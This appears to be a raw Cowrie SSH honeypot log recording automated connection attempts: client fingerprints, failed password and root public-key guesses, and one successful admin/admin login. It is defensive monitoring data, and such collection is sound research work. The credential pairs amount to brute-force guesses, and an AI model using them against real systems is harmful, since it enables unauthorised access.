{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:04.714731Z","src_ip":"74.87.117.146","session":"dba662cda4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZAQ!2wsx","message":"login attempt [admin/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:04.844438Z","src_ip":"74.87.117.146","session":"dba662cda4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:05.872631Z","src_ip":"74.87.117.146","session":"dba662cda4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.79.153.34","src_port":15730,"dst_ip":"10.17.0.5","dst_port":22,"session":"d440c4267ad5","protocol":"ssh","message":"New connection: 185.79.153.34:15730 (10.17.0.5:22) [session: d440c4267ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.001720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.006811Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.090411Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:c6:52:7d:c0:1b:ef:d4:5e:3f:05:d4:06:90:29:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz2EVan3POBi25nRNeebfCJbbmoQXjehSrk/IJPGaYsVRybjM+dvS0zPjTf7rZvr9oCHaBH4MK4v4ldae7q7L0GSJPJ7wi70/Cfb7ZC9LH7YTJUh74NfelZW9Eh815lmAEsmehv10WOSdgBrC/yW87+vtoqay2QDF84bVre5H1do6/T1pwsiZYiKLILbDXa3CiXVtQibAzZgVX6MKf2bQut7JED0CT9jqTSs5zPPrPMCvRESzIsuhdGoqm4iAEZw4kscAHDXaAHPJUYwl8SA7NObupxEAq+dJI0K9PqL9qpJs5tBids+A6EXzc3Y1aZuC9oP7aber4p30Gpn7SsVd7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:c6:52:7d:c0:1b:ef:d4:5e:3f:05:d4:06:90:29:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.481961Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:c6:52:7d:c0:1b:ef:d4:5e:3f:05:d4:06:90:29:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz2EVan3POBi25nRNeebfCJbbmoQXjehSrk/IJPGaYsVRybjM+dvS0zPjTf7rZvr9oCHaBH4MK4v4ldae7q7L0GSJPJ7wi70/Cfb7ZC9LH7YTJUh74NfelZW9Eh815lmAEsmehv10WOSdgBrC/yW87+vtoqay2QDF84bVre5H1do6/T1pwsiZYiKLILbDXa3CiXVtQibAzZgVX6MKf2bQut7JED0CT9jqTSs5zPPrPMCvRESzIsuhdGoqm4iAEZw4kscAHDXaAHPJUYwl8SA7NObupxEAq+dJI0K9PqL9qpJs5tBids+A6EXzc3Y1aZuC9oP7aber4p30Gpn7SsVd7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.520344Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:85:59:24:a6:fd:b4:56:87:1e:6e:68:40:3a:a7:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw9o/xbg5R0KVRZMFs2JM3K9DX+beqIaadehhTccrHrJwk1ogydDWIjEkMDGfNRVqfL6PYwT7RgdyDcflJ3vp6rSWAeFuCsmUck+S5fN+dLlj+jLaYJbBtN92uwvE7yQOENirSODzXNtg62KV764jGBePlWwIVmQVUydDx6ifbqGmDN7hovuKiAspko68FB1dNc1TUPjhNcSRIaz0hJ1nJDT1G45s6jDCqvOyo2bny+FgbWkkUyMBBChjSlYzsKtkDbCUH9eqKIwg9a5NwTvIDoci/7BJl7y0H8f5IXtarYPCBErerj3ND/03rs4saoUg2nUobhjz1p2+iZ6pmJf2x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:85:59:24:a6:fd:b4:56:87:1e:6e:68:40:3a:a7:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.603872Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:85:59:24:a6:fd:b4:56:87:1e:6e:68:40:3a:a7:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw9o/xbg5R0KVRZMFs2JM3K9DX+beqIaadehhTccrHrJwk1ogydDWIjEkMDGfNRVqfL6PYwT7RgdyDcflJ3vp6rSWAeFuCsmUck+S5fN+dLlj+jLaYJbBtN92uwvE7yQOENirSODzXNtg62KV764jGBePlWwIVmQVUydDx6ifbqGmDN7hovuKiAspko68FB1dNc1TUPjhNcSRIaz0hJ1nJDT1G45s6jDCqvOyo2bny+FgbWkkUyMBBChjSlYzsKtkDbCUH9eqKIwg9a5NwTvIDoci/7BJl7y0H8f5IXtarYPCBErerj3ND/03rs4saoUg2nUobhjz1p2+iZ6pmJf2x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.607740Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:48:cd:7d:10:8c:45:fa:ae:49:21:70:93:a4:25:d4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOtduLzLsnGHmhVxFj5B7tYgdlQ7DbFwfFrWhFN2QAfTU1/Lp8tboHxG7VWPalvbC7F2/SN6WqQWLJ+yrxgtWgm4i3cNuhV2px50RguwHa3s2OtCLeIVzBuP0GMP+Mf6JR7s0K96kYYIoU8AqTjiPD4ylIY8iP1+nHbV5UTth9HfAAAAFQC9nF1qZhEGDRRD4LL10cFB2yv80QAAAIEA3KmkLDNm7DT78psuWzcbJJobCJNQ+TYpSK+LgrRPB8g442iZr01oZTf//dMS/3RcAiR69esjmKS9IhU0NmpqKU/n0BqlpakAyOb9eqnm7tq+5LhhWyQsHCRpRarlD1AAgkoPId3xb9u9rJjropUzI0AO0aXqGYn/eX+tqSwhDeQAAACAWEjfI85T+/v818aVDeXHriVrxpgVnynCTEqV1WDX6Yd0DjJZnFcvXYS0ronMh4qikBlapUpbKTt0ujapQ9elIBi9uao1jn/VYJwo4fPMNCM1K1vTi1SajiWPqZFq7pyHzdDryqf3xK0yLJgRKzLYUqVwfHqzFGlwtwIX8GLPIPU=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 19:48:cd:7d:10:8c:45:fa:ae:49:21:70:93:a4:25:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.691219Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:48:cd:7d:10:8c:45:fa:ae:49:21:70:93:a4:25:d4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOtduLzLsnGHmhVxFj5B7tYgdlQ7DbFwfFrWhFN2QAfTU1/Lp8tboHxG7VWPalvbC7F2/SN6WqQWLJ+yrxgtWgm4i3cNuhV2px50RguwHa3s2OtCLeIVzBuP0GMP+Mf6JR7s0K96kYYIoU8AqTjiPD4ylIY8iP1+nHbV5UTth9HfAAAAFQC9nF1qZhEGDRRD4LL10cFB2yv80QAAAIEA3KmkLDNm7DT78psuWzcbJJobCJNQ+TYpSK+LgrRPB8g442iZr01oZTf//dMS/3RcAiR69esjmKS9IhU0NmpqKU/n0BqlpakAyOb9eqnm7tq+5LhhWyQsHCRpRarlD1AAgkoPId3xb9u9rJjropUzI0AO0aXqGYn/eX+tqSwhDeQAAACAWEjfI85T+/v818aVDeXHriVrxpgVnynCTEqV1WDX6Yd0DjJZnFcvXYS0ronMh4qikBlapUpbKTt0ujapQ9elIBi9uao1jn/VYJwo4fPMNCM1K1vTi1SajiWPqZFq7pyHzdDryqf3xK0yLJgRKzLYUqVwfHqzFGlwtwIX8GLPIPU=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.694038Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:c9:f2:2e:84:df:86:f6:06:d6:8c:c0:5b:aa:fd:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC285chm4gO4X1fKTIsfYo3u+uXKH4yPpCm8bJl2YFbKIJOAHLcRYlQjeUs71LA35p0Cdh7lo1hNiOdGyrvCap/wrMVPL53vsNKge75mxi2pCW0pausPifN8K7+DL04CSNWviMA16UZWtyU0XEsQNgU47SsYLkd2saWa2nzF2nju9C5lhrs8rFdVWWFGZflhrqyloZPhb+Ksw6h7V5i6/fY9BY/HnyGCk6XrHvWaGjaH5e5Vf4GXu88dNxywuRDf6KHW8geEFndb4ghiRMwkP3oVFAo4XoTyZm4Z9jsui4AQrhNGV3IoBFDLwthB2fK6Mnx4s5XGfMLFvP1JZ9obQi1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:c9:f2:2e:84:df:86:f6:06:d6:8c:c0:5b:aa:fd:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.776339Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:c9:f2:2e:84:df:86:f6:06:d6:8c:c0:5b:aa:fd:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC285chm4gO4X1fKTIsfYo3u+uXKH4yPpCm8bJl2YFbKIJOAHLcRYlQjeUs71LA35p0Cdh7lo1hNiOdGyrvCap/wrMVPL53vsNKge75mxi2pCW0pausPifN8K7+DL04CSNWviMA16UZWtyU0XEsQNgU47SsYLkd2saWa2nzF2nju9C5lhrs8rFdVWWFGZflhrqyloZPhb+Ksw6h7V5i6/fY9BY/HnyGCk6XrHvWaGjaH5e5Vf4GXu88dNxywuRDf6KHW8geEFndb4ghiRMwkP3oVFAo4XoTyZm4Z9jsui4AQrhNGV3IoBFDLwthB2fK6Mnx4s5XGfMLFvP1JZ9obQi1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.779301Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:7a:31:58:c3:b7:bf:dd:7c:ee:3c:e7:3d:49:62:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx7PpM6SShThMLzp/nLZ5JFq9OQxjx6uBOHbkNvgsc9agKqOSYYl/goqWzMM6yIA8ClHpG2b+YpIRLcImndWlCohx8zxHyt7ZTVm6+uWD36RNWqf7No5BWEUlw2dcI8pZfgyDvxKeBvWhLS+P3AOeB4AicZS9lwYlpPA9t+UN5WXH/bxKJOsNh8qXbaOcoQ4m3jEXW9un44NnxEmjDpUKVTt4ZFxlbhZLUoOwhZXr2iA0+dwQPj9r2f3Xk4yiwt2t0XXsJyjeQ3E3dZPaLld3VDb3ryXdmmO2mqJzLXoz7jipBJca0CuRhX2wpeRo08gY6j6TOmQZpHNYlLhWSNVV2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:7a:31:58:c3:b7:bf:dd:7c:ee:3c:e7:3d:49:62:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.862360Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:7a:31:58:c3:b7:bf:dd:7c:ee:3c:e7:3d:49:62:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx7PpM6SShThMLzp/nLZ5JFq9OQxjx6uBOHbkNvgsc9agKqOSYYl/goqWzMM6yIA8ClHpG2b+YpIRLcImndWlCohx8zxHyt7ZTVm6+uWD36RNWqf7No5BWEUlw2dcI8pZfgyDvxKeBvWhLS+P3AOeB4AicZS9lwYlpPA9t+UN5WXH/bxKJOsNh8qXbaOcoQ4m3jEXW9un44NnxEmjDpUKVTt4ZFxlbhZLUoOwhZXr2iA0+dwQPj9r2f3Xk4yiwt2t0XXsJyjeQ3E3dZPaLld3VDb3ryXdmmO2mqJzLXoz7jipBJca0CuRhX2wpeRo08gY6j6TOmQZpHNYlLhWSNVV2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.865875Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:07.951080Z","src_ip":"185.79.153.34","session":"d440c4267ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":52560,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c65ef061ccd","protocol":"ssh","message":"New connection: 165.227.170.113:52560 (10.17.0.5:22) [session: 8c65ef061ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:19.153474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:19.157679Z","src_ip":"165.227.170.113","session":"8c65ef061ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:19.242674Z","src_ip":"165.227.170.113","session":"8c65ef061ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"admin1234","message":"login attempt [alex/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:19.615985Z","src_ip":"165.227.170.113","session":"8c65ef061ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:20.703887Z","src_ip":"165.227.170.113","session":"8c65ef061ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.87.216.198","src_port":49380,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fda66b5baf8","protocol":"ssh","message":"New connection: 194.87.216.198:49380 (10.17.0.5:22) [session: 9fda66b5baf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:20.989554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:20.994653Z","src_ip":"194.87.216.198","session":"9fda66b5baf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:23.519398Z","src_ip":"194.87.216.198","session":"9fda66b5baf8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:23.710675Z","src_ip":"194.87.216.198","session":"9fda66b5baf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:23.812497Z","src_ip":"194.87.216.198","session":"9fda66b5baf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":63664,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cbd94483337","protocol":"ssh","message":"New connection: 130.12.180.51:63664 (10.17.0.5:22) [session: 3cbd94483337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:23.896328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:23.901150Z","src_ip":"130.12.180.51","session":"3cbd94483337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:23.982561Z","src_ip":"130.12.180.51","session":"3cbd94483337","protocol":"ssh"}
